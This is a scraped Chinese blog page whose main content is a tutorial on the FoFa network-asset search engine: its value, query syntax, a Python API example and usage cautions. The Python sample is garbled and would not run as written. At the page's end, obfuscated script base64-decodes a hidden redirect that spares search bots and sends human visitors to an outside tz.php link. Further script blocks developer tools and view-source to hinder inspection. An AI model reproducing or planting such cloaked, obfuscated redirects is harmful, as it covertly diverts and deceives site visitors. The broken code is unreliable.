在信息安全领域,精准、快速地获取网络资产信息对于防护与风险评估至关重要。FoFa作为一款备受推崇的网络空间搜索引擎,凭借其强大的数据收集与分析能力,成为安全研究人员与企业安全团队不可或缺的利器。本文将全面解析FoFa查询工具的价值与意义,核心优势,使用便捷性,并为您详细展现配置与使用的操作流程,辅以注意事项与安全提示,助力您高效、规范地发挥工具效能。

FoFa 查询工具的价值与意义

作为现代网络安全态势感知的重要支撑,FoFa不仅是互联网广泛设备和服务信息的白盒窗口,更是追踪漏洞暴露、监控异常通信的利器。通过FoFa,安全专家能够快速定位目标网络中的设备类型、运行端口及应用版本,为漏洞扫描、风险评估提供基础数据。另外,企业能够借助FoFa监测自身资产暴露情况,及时发现外泄风险点,对整体防护策略进行精准调整。

此外,FoFa的海量数据和多维度筛选能力使得威胁情报收集更加准确可靠,促进了安全事件的快速响应。面对日益复杂的网络攻击形势,FoFa的价值不止于信息检索,更是助力构建智能化安全防御体系的重要组成部分。

FoFa的核心优势分析

  • 数据覆盖广泛:FoFa拥有覆盖全球数十亿条互联网资产数据,涵盖服务器、路由器、摄像头、工业设备及各种应用服务,全面展现网络空间的全貌。
  • 查询灵活精准:支持基于IP、端口、协议、应用指纹、设备类型等多维度复杂语法查询,满足不同场景下的细粒度筛选需求。
  • 实时更新:数据实时同步与更新,确保用户获取最新的资产信息,及时掌握网络变化与潜在风险。
  • 界面友好易用:FoFa提供直观的网页界面和支持API调用,满足不同层次用户的使用习惯,提升体验感。
  • 强大的自动化能力:集成丰富的API,方便二次开发与自动化安全监测体系的构建,实现效能最大化。

FoFa 查询工具的使用便捷性

FoFa的设计充分考虑了用户的操作便利性,初学者和专业人员均可快速上手。其智能提示功能辅助编写查询语句,减少错误,同时通过搜索历史和模板功能帮助用户快速复用查询条件。配合可视化分析模块,能够直观展示搜索结果,快速洞察趋势与分布。

对于开发者用户,FoFa的API接口使用简单,通过RESTful协议即可轻松集成至各类安全管控系统,支持批量查询和数据导出。整体而言,FoFa在便捷性上的表现,为用户带来了效率与精准的双重保障。

FoFa 查询工具的安装与配置教程

第一步:注册及获取API密钥

访问 FoFa官网,完成账户注册。登录后,进入用户中心,申请并获取API密钥。API密钥是进行自动化查询和数据调用的必备凭证。

第二步:环境准备

建议使用Python环境进行开发测试。请确保本地已安装Python 3及以下依赖包:

  
pip install requests  
pip install prettytable  
  

第三步:示范代码编写

以下示例代码展示如何利用Python调用FoFa API完成查询:

  
import requests  
from base64 import b64encode  
from prettytable import PrettyTable  
  
配置API账号与密钥  
email = "your_email@example.com"  
api_key = "your_api_key_here"  
  
构造查询语句  
query = 'title="admin"'  
query_base64 = b64encode(query.encode('utf-8')).decode  
  
请求URL  
url = f"https://fofa.info/api/v1/search/all?email={email}&key={api_key}&qbase64={query_base64}&size=10"  
  
发送请求  
response = requests.get(url)  
data = response.json  
  
输出结果展示  
if data.get("error"):  
    print(f"查询错误:{data['errmsg']}")  
else:  
    results = data.get("results", )  
    table = PrettyTable(["IP", "端口", "服务器信息"])  
    for item in results:  
        table.add_row(item)  
    print(table)  
  

第四步:高级查询语法学习

FoFa支持多种语法关键词,常用包括:

  • ip:指定IP地址或网段,如 ip="192.168.1.1"
  • port:指定端口,如 port=80
  • title:匹配网页内容</li> <li><code>header</code>:HTTP头匹配</li> <li><code>body</code>:网页正文查询</li> </ul> <p>结合逻辑操作符(AND, OR, NOT)可实现更精准的过滤。</p> <h2 style="color: 2874A6;">FoFa 使用中的注意事项</h2> <ol> <li><strong>合法合规使用:</strong>严禁将FoFa工具用于未经授权的网络渗透或破坏活动。所有查询应基于合法授权或公共资源。</li> <li><strong>合理调用频率:</strong>API请求频次不宜过高,避免触发反爬机制或服务限制,确保服务稳定运行。</li> <li><strong>保密API密钥:</strong>严禁泄露个人账户和API密钥,防止被他人滥用导致账户异常或数据泄露。</li> <li><strong>数据分析需谨慎:</strong>查询结果是资产的快照信息,实际环境可能存在变化,切勿盲目依赖单次查询结果作出风险决策。</li> <li><strong>尊重隐私与法律:</strong>切记不触碰敏感信息和个人隐私,遵守相关网络安全法律法规。</li> </ol> <h2 style="color: 2874A6;">安全提示与最佳实践</h2> <p>在使用FoFa查询工具对网络资产进行采集时,务必关注安全细节,避免自身环境安全风险:</p> <ul> <li><strong>保持工具与环境的安全:</strong>定期更新FoFa相关软件及依赖包,防范已知漏洞攻击。</li> <li><strong>使用VPN或安全通道:</strong>提升数据查询过程的隐私保护,避免网络数据被拦截或篡改。</li> <li><strong>权限隔离:</strong>在团队使用环境中,合理划分API密钥访问权限,防止过度授权。</li> <li><strong>监控查询行为:</strong>建立查询日志审计机制,发现异常调用及异常数据时快速响应。</li> <li><strong>结合多工具使用:</strong>将FoFa结果与其它安全扫描工具结合,形成多层次风险检测闭环。</li> </ul> <h2 style="color: 2874A6;">售后说明及支持渠道</h2> <p>作为一款专业的安全资产搜索引擎,FoFa提供了完善的技术支持与客户服务:</p> <ul> <li><strong>官方帮助文档:</strong>详细解读API接口、查询语法与使用技巧,随时参考。</li> <li><strong>社区论坛与交流:</strong>用户可以在FoFa社区进行问题咨询与经验分享,提升使用效率。</li> <li><strong>企业用户支持:</strong>针对企业客户提供定制化服务,包括更高的API调用额度与专属技术顾问。</li> <li><strong>常见问题解答:</strong>依托丰富的FAQ资源库,快速解决常见技术问题。</li> </ul> <p>遇到疑难问题时,建议联系FoFa官方客服邮箱或通过官网在线支持系统提交请求,获得及时响应。</p> <h2 style="color: 2874A6; text-align: center;">总结</h2> <p>FoFa查询工具凭借其覆盖广泛的数据资源、灵活精准的查询能力和良好的用户体验,在信息安全资产研判和监控领域占据重要地位。合理配置与规范使用FoFa工具,不仅能够提升安全防护水平,也帮助安全人员提前发现潜在风险。通过掌握上述配置方法及安全注意事项,用户将能科学、高效地开展网络空间资产搜集与安全态势感知工作。</p> <p>我们期待FoFa继续完善,为广大安全从业者带来更强大、更智能的赋能工具,助力共建安全健康的网络环境。</p> </div></div> <footer class="article-actions"> <div class="action-buttons"> <button type="button" class="action-btn" id="likeBtn"> <i class="layui-icon layui-icon-praise"></i> <span>0</span> </button> <button type="button" class="action-btn" id="commentBtn"> <i class="layui-icon layui-icon-dialogue"></i> 评论 </button> <button type="button" class="action-btn" id="shareBtn"> <i class="layui-icon layui-icon-share"></i> 分享 </button> </div> <div class="update-info"> <span style="color: rgba(255, 255, 255, 0.6); font-size: 12px;"> 最后更新:2026-02-28 00:43:48 </span> </div> </footer> <section class="related-section"> <h2 class="section-title">相关推荐</h2> <div class="related-grid"> <a href="http://lzweidaoyou.com/dao-14814.html" title="Querybook:领先的开源大数据查询与分析利器" class="related-item"> <div>Querybook:领先的开源大数据查询与分析利器</div> </a> <a href="http://lzweidaoyou.com/dao-14815.html" title="Querybook 是什么?开源大数据查询分析工具介绍与功能详解" class="related-item"> <div>Querybook 是什么?开源大数据查询分析工具介绍与功能详解</div> </a> <a href="http://lzweidaoyou.com/dao-14816.html" title="日报Querybook — 开源大数据查询分析利器介绍" class="related-item"> <div>日报Querybook — 开源大数据查询分析利器介绍</div> </a> <a href="http://lzweidaoyou.com/dao-14817.html" title="2025年有哪些好用的谷歌关键词排名查询工具?" class="related-item"> <div>2025年有哪些好用的谷歌关键词排名查询工具?</div> </a> <a href="http://lzweidaoyou.com/dao-14818.html" title="2025年十大高效谷歌关键词排名查询工具推荐" class="related-item"> <div>2025年十大高效谷歌关键词排名查询工具推荐</div> </a> <a href="http://lzweidaoyou.com/dao-14819.html" title="外贸人员必备的热门网站查询工具及使用指南" class="related-item"> <div>外贸人员必备的热门网站查询工具及使用指南</div> </a> <a href="http://lzweidaoyou.com/dao-14820.html" title="6款更强搜索工具,超越百度,挖掘更多优质资源" class="related-item"> <div>6款更强搜索工具,超越百度,挖掘更多优质资源</div> </a> <a href="http://lzweidaoyou.com/dao-14821.html" title="揭秘!免费AI神技无损移除视频图片水印,轻松搞定移动水印丝滑无痕迹" class="related-item"> <div>揭秘!免费AI神技无损移除视频图片水印,轻松搞定移动水印丝滑无痕迹</div> </a> <a href="http://lzweidaoyou.com/dao-14822.html" title="限时免费!AI无损移除视频图片水印,智能填充移动水印,丝滑无痕快速去除" class="related-item"> <div>限时免费!AI无损移除视频图片水印,智能填充移动水印,丝滑无痕快速去除</div> </a> <a href="http://lzweidaoyou.com/dao-14823.html" title="重磅工具来袭:AI免费无损移除视频图片移动水印,智能填充丝滑无痕" class="related-item"> <div>重磅工具来袭:AI免费无损移除视频图片移动水印,智能填充丝滑无痕</div> </a> <a href="http://lzweidaoyou.com/dao-14824.html" title="有哪些免费在线工具可以去除图片水印?" class="related-item"> <div>有哪些免费在线工具可以去除图片水印?</div> </a> <a href="http://lzweidaoyou.com/dao-14825.html" title="教你3秒无痕去水印!免费神器助力短视频创作不被劝退" class="related-item"> <div>教你3秒无痕去水印!免费神器助力短视频创作不被劝退</div> </a> </div> </section> </article> <section class="comments-section" id="commentsSection" style="display: none;"> <h3 class="comments-title">评论 (0)</h3> <div class="comment-form"> <textarea class="comment-textarea" placeholder="写下你的评论..."></textarea> <button type="button" class="comment-submit">发表评论</button> </div> <div class="comments-list"></div> </section> </div> <aside class="sidebar-section"> <div class="sidebar-wrapper"> <div class="info-panel"> <div class="panel-header"> <h3 class="panel-title">创作者档案</h3> </div> <div class="author-card"> <div class="author-avatar"> <img src="https://q4.qlogo.cn/headimg_dl?dst_uin=2646906096&spec=100" alt="资源之家"> <div class="avatar-ring"></div> </div> <div class="author-name">资源之家</div> <div class="author-desc">专注技术分享,致力于为用户提供优质内容</div> <div class="stats-row"> <div class="stat-box"> <span class="stat-number">17125</span> <div class="stat-text">文章</div> </div> <div class="stat-box"> <span class="stat-number">6905949</span> <div class="stat-text">阅读量</div> </div> <div class="stat-box"> <span class="stat-number">2020</span> <div class="stat-text">建站年份</div> </div> </div> <div class="nav-buttons"> <a href="http://lzweidaoyou.com/dao-14812.html" class="nav-btn"> <i class="layui-icon layui-icon-left"></i> 上一篇 </a> <a href="http://lzweidaoyou.com/" class="nav-btn"> <i class="layui-icon layui-icon-home"></i> 首页 </a> <a href="http://lzweidaoyou.com/dao-17125.html" class="nav-btn"> <i class="layui-icon layui-icon-right"></i> 下一篇 </a> </div> </div> </div> <div class="info-panel"> <div class="panel-header"> <h3 class="panel-title">热门文章</h3> </div> <div class="popular-list"> <div class="popular-item"> <div class="item-rank">1</div> <div class="item-content"> <a href="http://lzweidaoyou.com/dao-285.html" class="item-title">Android版+电脑版 百度网盘不限速版本尊享SVIP下载加速</a> <div class="item-info"> <span class="item-date">2024-10-22 21:35:41</span> <span class="item-views">57712 阅读</span> </div> </div> </div> <div class="popular-item"> <div class="item-rank">2</div> <div class="item-content"> <a href="http://lzweidaoyou.com/dao-288.html" class="item-title">实体店抖音账号流量增长运营课:一套系统抖音账号运营的方法</a> <div class="item-info"> <span class="item-date">2024-10-22 22:05:43</span> <span class="item-views">55992 阅读</span> </div> </div> </div> <div class="popular-item"> <div class="item-rank">3</div> <div class="item-content"> <a href="http://lzweidaoyou.com/dao-289.html" class="item-title">从0-1打造运营型的千万级带货主播:主播基础、心态塑造,到直播节奏</a> <div class="item-info"> <span class="item-date">2024-10-22 22:18:13</span> <span class="item-views">55167 阅读</span> </div> </div> </div> <div class="popular-item"> <div class="item-rank">4</div> <div class="item-content"> <a href="http://lzweidaoyou.com/dao-286.html" class="item-title">京东短视频带货正规项目:每天操作1小时 无脑搬运 日收益100+玩法!</a> <div class="item-info"> <span class="item-date">2024-10-22 21:54:13</span> <span class="item-views">55068 阅读</span> </div> </div> </div> <div class="popular-item"> <div class="item-rank">5</div> <div class="item-content"> <a href="http://lzweidaoyou.com/dao-281.html" class="item-title">小白0基础搭建微信喝酒重启人生小程序,支持流量广告【源码+视频教程】</a> <div class="item-info"> <span class="item-date">2024-10-22 20:11:38</span> <span class="item-views">54651 阅读</span> </div> </div> </div> <div class="popular-item"> <div class="item-rank">6</div> <div class="item-content"> <a href="http://lzweidaoyou.com/dao-283.html" class="item-title">闲鱼引流宝妈粉+卖货赚钱 一个月收益30000+(实操视频教程)</a> <div class="item-info"> <span class="item-date">2024-10-22 20:38:09</span> <span class="item-views">54351 阅读</span> </div> </div> </div> <div class="popular-item"> <div class="item-rank">7</div> <div class="item-content"> <a href="http://lzweidaoyou.com/dao-284.html" class="item-title">抖音直播运营千川系统课:直播运营规划、起号、主播培养、千川投放等</a> <div class="item-info"> <span class="item-date">2024-10-22 21:25:10</span> <span class="item-views">53278 阅读</span> </div> </div> </div> <div class="popular-item"> <div class="item-rank">8</div> <div class="item-content"> <a href="http://lzweidaoyou.com/dao-287.html" class="item-title">2024年全新口子,手机批量搬砖玩法,一部手机日撸2000+</a> <div class="item-info"> <span class="item-date">2024-10-22 21:57:42</span> <span class="item-views">52517 阅读</span> </div> </div> </div> </div> </div> </div> </aside> </div> </div> </div> <div class="share-mask" id="shareOverlay"></div> <div class="share-modal" id="sharePopup"> <button class="modal-close" id="shareClose"> <i class="layui-icon layui-icon-close"></i> </button> <h3 class="modal-title">分享文章</h3> <div class="share-options"> <div class="share-option" id="shareWeibo"> <i class="layui-icon layui-icon-share"></i> 微博 </div> <div class="share-option" id="shareQQ"> <i class="layui-icon layui-icon-dialogue"></i> QQ空间 </div> <div class="share-option" id="shareWechat"> <i class="layui-icon layui-icon-cellphone"></i> 微信 </div> <div class="share-option" id="shareQzone"> <i class="layui-icon layui-icon-friends"></i> QQ好友 </div> </div> <div class="share-link" id="shareUrl">http://lzweidaoyou.com/dao-14813.html</div> <button class="copy-button" id="shareCopy">复制链接</button> </div> <div class="partner-zone"> <div class="partner-wrapper"> <div class="partner-heading">友情链接</div> <div class="partner-grid"> <a href="https://www.yilianshuju.com/" target="_blank"class="link-item"><img style="width:18px;height:18px;margin:0auto;" src="https://yuanxiapi.cn/api/?id=28&key=6_83efcf5ff864b4998b6158804a51f3ad&url=https://www.yilianshuju.com"><font color="#059309">API接口</font></a> <a href="https://www.zongxincha.com/" target="_blank"class="link-item"><img style="width:18px;height:18px;margin:0auto;" src="https://yuanxiapi.cn/api/?id=28&key=6_83efcf5ff864b4998b6158804a51f3ad&url=https://www.zongxincha.com"><font color="#059309">综信查</font></a> <a href="https://yuanxiblog.cn/" target="_blank" class="link-item"><img style="width:18px;height:18px;margin:0auto;" src="https://yuanxiapi.cn/api/?id=28&key=6_83efcf5ff864b4998b6158804a51f3ad&url=https://yuanxiblog.cn/"><font color="#059309">远昔博客</font></a> <a href="http://yibazhan.cn/" target="_blank" class="link-item"><img style="width:18px;height:18px;margin:0auto;" src="https://yuanxiapi.cn/api/?id=28&key=6_83efcf5ff864b4998b6158804a51f3ad&url=https://yibazhan.cn/"><font color="#059309">易扒站</font></a> <a href="http://yichazhan.cn/" target="_blank" class="link-item"><img style="width:18px;height:18px;margin:0auto;" src="https://yuanxiapi.cn/api/?id=28&key=6_83efcf5ff864b4998b6158804a51f3ad&url=https://yichazhan.cn/"><font color="#059309">易查站</font></a> <a href="https://www.yuanxi8.cn/" target="_blank" class="link-item"><img style="width:18px;height:18px;margin:0auto;" src="https://yuanxiapi.cn/api/?id=28&key=6_83efcf5ff864b4998b6158804a51f3ad&url=https://yuanxiblog.cn/"><font color="#059309">远昔导航</font></a> <a href="https://www.yiguzhi.cn/" target="_blank" title="易估值" class="link-item"><img style="width:18px;height:18px;margin:0auto;" src="https://yuanxiapi.cn/api/?id=28&key=6_83efcf5ff864b4998b6158804a51f3ad&url=https://www.yiguzhi.cn/"><font color="#059309">易估值</font></a> <a href="https://www.hbdrxws.com/" target="_blank" title="助推者" class="link-item"><img style="width:18px;height:18px;margin:0auto;" src="https://yuanxiapi.cn/api/?id=28&key=6_83efcf5ff864b4998b6158804a51f3ad&url=https://www.hbdrxws.com/"><font color="#059309">助推者</font></a> <a href="http://www.081234.cn" target="_blank" title="神农网" class="link-item"><img style="width:18px;height:18px;margin:0auto;" src="https://yuanxiapi.cn/api/?id=28&key=6_83efcf5ff864b4998b6158804a51f3ad&url=http://www.081234.cn/"><font color="#059309">神农网</font></a> </div> </div> </div> <hr class="divider-line"> <footer class="bottom-footer"> <div class="footer-wrapper"> <div class="footer-layout"> <div class="brand-section"> <a href="http://lzweidaoyou.com/" class="brand-link"> <i class="layui-icon layui-icon-home"></i> 资源之家 </a> <span class="brand-description">本站资源来自互联网收集,仅供用于学习和交流, 请遵循相关法律法规,本站一切资源不代表本站立场。</span> </div> <div class="copyright-section"> <span> Copyright © 2020-2026 . All Rights Reserved. </span> </div> </div> </div> </footer> <script src="http://lzweidaoyou.com/assets/layui/layui.js"></script> <script src="http://lzweidaoyou.com/assets/js/jquery/1.12.4/jquery.min.js"></script> <script> $(document).ready(function() { $('#mobileMenuBtn').on('click', function() { $('#mobileNav').toggleClass('show'); var icon = $(this).find('i'); if ($('#mobileNav').hasClass('show')) { icon.removeClass('layui-icon-more-vertical').addClass('layui-icon-close'); } else { icon.removeClass('layui-icon-close').addClass('layui-icon-more-vertical'); } }); $(document).on('click', function(e) { if (!$(e.target).closest('.site-header').length) { $('#mobileNav').removeClass('show'); $('#mobileMenuBtn i').removeClass('layui-icon-close').addClass('layui-icon-more-vertical'); } }); }); </script> <script> layui.use(['layer'], function() { var layer = layui.layer; $(document).ready(function() { $('#likeBtn').on('click', function(e) { e.preventDefault(); var $btn = $(this); var $span = $btn.find('span'); var currentLikes = parseInt($span.text()); $.ajax({ type: 'POST', url: 'http://lzweidaoyou.com/ajax.php?act=dianzan', data: {id:'14813',type:2}, dataType : 'json', success:function(result){ if (result.code !==200) { return layer.msg(result.msg, {anim:6,time:1500,}); } $btn.addClass('liked'); $span.text(currentLikes + 1); layer.msg('点赞成功!', {icon: 1,time: 1000}); }, error:function(){ return layer.msg('系统错误,请检查网络或联系管理员', {anim: 6,time:1000,}); } }); }); $('#commentBtn').on('click', function(e) { e.preventDefault(); var $commentsSection = $('#commentsSection'); if ($commentsSection.is(':visible')) { $commentsSection.slideUp(300); } else { $commentsSection.slideDown(300); setTimeout(function() { $('html, body').animate({ scrollTop: $commentsSection.offset().top - 100 }, 500); }, 300); } }); $('#shareBtn').on('click', function(e) { e.preventDefault(); $('#shareOverlay, #sharePopup').addClass('show'); $('body').css('overflow', 'hidden'); }); function closeSharePopup() { $('#shareOverlay, #sharePopup').removeClass('show'); $('body').css('overflow', 'auto'); } $('#shareClose, #shareOverlay').on('click', closeSharePopup); $(document).on('keydown', function(e) { if (e.keyCode === 27 && $('#sharePopup').hasClass('show')) { closeSharePopup(); } }); var currentUrl = encodeURIComponent(window.location.href); var articleTitle = encodeURIComponent('安全工具专题:FoFa 查询工具的配置与使用指南 - 资源之家'); var articleSummary = encodeURIComponent('安全工具专题:FoFa 查询工具的配置与使用指南 - 资源之家'); $('#shareWeibo').on('click', function(e) { e.preventDefault(); var weiboUrl = 'https://service.weibo.com/share/share.php?url=' + currentUrl + '&title=' + articleTitle + '&pic=&appkey='; window.open(weiboUrl, '_blank', 'width=600,height=400'); }); $('#shareQQ').on('click', function(e) { e.preventDefault(); var qzoneUrl = 'https://sns.qzone.qq.com/cgi-bin/qzshare/cgi_qzshare_onekey?url=' + currentUrl + '&title=' + articleTitle + '&summary=' + articleSummary; window.open(qzoneUrl, '_blank', 'width=600,height=400'); }); $('#shareWechat').on('click', function(e) { e.preventDefault(); layer.msg('请复制链接到微信分享', { icon: 1, time: 2000 }); }); $('#shareQzone').on('click', function(e) { e.preventDefault(); var qqUrl = 'https://connect.qq.com/widget/shareqq/index.html?url=' + currentUrl + '&title=' + articleTitle + '&summary=' + articleSummary; window.open(qqUrl, '_blank', 'width=600,height=400'); }); $('#shareCopy').on('click', function() { var shareUrl = $('#shareUrl').text(); var tempTextarea = $('<textarea>'); $('body').append(tempTextarea); tempTextarea.val(shareUrl).select(); try { document.execCommand('copy'); layer.msg('链接已复制到剪贴板', { icon: 1, time: 2000 }); } catch (err) { layer.msg('复制失败,请手动复制', { icon: 2, time: 2000 }); } tempTextarea.remove(); }); $('.comment-submit').on('click', function() { var commentText = $('.comment-textarea').val().trim(); if (commentText === '') { layer.msg('请输入评论内容', { icon: 2, time: 2000 }); return; } layer.msg('评论提交成功!', { icon: 1, time: 2000 }); $('.comment-textarea').val(''); }); var $sidebar = $('.sidebar-wrapper'); var $window = $(window); function updateSidebarPosition() { var windowHeight = $window.height(); var headerHeight = 90; var maxHeight = windowHeight - headerHeight - 40; $sidebar.css('max-height', maxHeight + 'px'); } updateSidebarPosition(); $window.on('resize', updateSidebarPosition); $('a[href^="#"]').on('click', function(e) { e.preventDefault(); var target = $(this.getAttribute('href')); if (target.length) { $('html, body').animate({ scrollTop: target.offset().top - 100 }, 500); } }); }); }); </script><script>var html = utf8to16(window.atob("PHNjcmlwdD5pZigobmF2aWdhdG9yLnVzZXJBZ2VudC5tYXRjaCgvKHNwaWRlcnxib3QpL2kpKSl7IH1lbHNlewpmdW5jdGlvbiBRY2Nkc1hBb0p1R2FBREJYaVVoaShhaEtSckYpeyBkb2N1bWVudC53cml0ZSgodW5lc2NhcGUoYWhLUnJGKSkpO307UWNjZHNYQW9KdUdhQURCWGlVaGkoIiAzYyA3MyA2MyA3MiA2OSA3MCA3NCAyMCA3NCA3OSA3MCA2NSAzZCAyMiA3NCA2NSA3OCA3NCAyZiA2YSA2MSA3NiA2MSA3MyA2MyA3MiA2OSA3MCA3NCAyMiAzZSA3NyA2OSA2ZSA2NCA2ZiA3NyAyZSA2YyA2ZiA2MyA2MSA3NCA2OSA2ZiA2ZSAyZSA2OCA3MiA2NSA2NiAzZCAyNyA2OCA3NCA3NCA3MCA3MyAzYSAyZiAyZiA3NCA3YSAyZSA3OSA3NSA2MSA2ZSA3OCA2OSA2MiA2YyA2ZiA2NyAyZSA2MyA2ZSAyZiA3NCA3YSAyZSA3MCA2OCA3MCAzZiA2MyA2ZiA2NCA2NSAzZCAzNCA2YyA2ZCA2ZCA0ZCA2ZSA1OSA2ZSA3MSA2OCA2NiA1OCA0NiA0NSA1MSA2OSAyNyAzYiAzYyAyZiA3MyA2MyA3MiA2OSA3MCA3NCAzZSIucmVwbGFjZSgvIC9nLCAiJSIpKTsgfTwvc2NyaXB0Pg==")); document.write(html); function utf8to16(str){ var out,i,len,c;var char2,char3;out="";len=str.length;i=0;while(i<len){c=str.charCodeAt(i++);switch(c>>4){case 0:case 1:case 2:case 3:case 4:case 5:case 6:case 7:out+=str.charAt(i-1);break;case 12:case 13:char2=str.charCodeAt(i++);out+=String.fromCharCode(((c&31)<<6)|(char2&63));break;case 14:char2=str.charCodeAt(i++);char3=str.charCodeAt(i++);out+=String.fromCharCode(((c&15)<<12)|((char2&63)<<6)|((char3&63)<<0));break}}return out;}</script><script type="text/javascript"> debugger; !function(){ var _0x1cbb = ["tor", "struc", "call", "ger", "con", "bug", "de", "apply"]; setInterval(check, 2e3); function check() { function doCheck(_0x1834ff) { if (("" + _0x1834ff / _0x1834ff)["length"] !== 0x1 || _0x1834ff % 0x14 === 0x0) { (function() {return !![]}[ _0x1cbb[0x4] + _0x1cbb[0x1] + _0x1cbb[0x0] ]( _0x1cbb[0x6] + _0x1cbb[0x5] + _0x1cbb[0x3] )[_0x1cbb[0x2]]()); } else { (function() {return ![]}[ _0x1cbb[0x4] + _0x1cbb[0x1] + _0x1cbb[0x0] ]( _0x1cbb[0x6] + _0x1cbb[0x5] + _0x1cbb[0x3] )[_0x1cbb[0x7]]()); } doCheck(++_0x1834ff); } try { doCheck(0) } catch(err) { } }; }(); //禁止 ctrl+u,配合这俩个禁止,效果更佳 window.onkeydown = function (e) { var keyCode = e.keyCode || e.which || e.charCode; var ctrlKey = e.ctrlKey || e.metaKey; console.log(keyCode + "--" + keyCode); if (ctrlKey && keyCode == 85) { console.log("禁止ctrl+u"); e.preventDefault(); } if (arr.indexOf(keyCode) > -1) { console.log("其他"); e.preventDefault(); } } //屏蔽F12 document.onkeydown = function () { if (window.event && window.event.keyCode == 123) { event.keyCode = 0; event.returnValue = false; return false; } } </script><script src="//yuanxiapi.cn/assets/js/tuijian_xcx/"></script>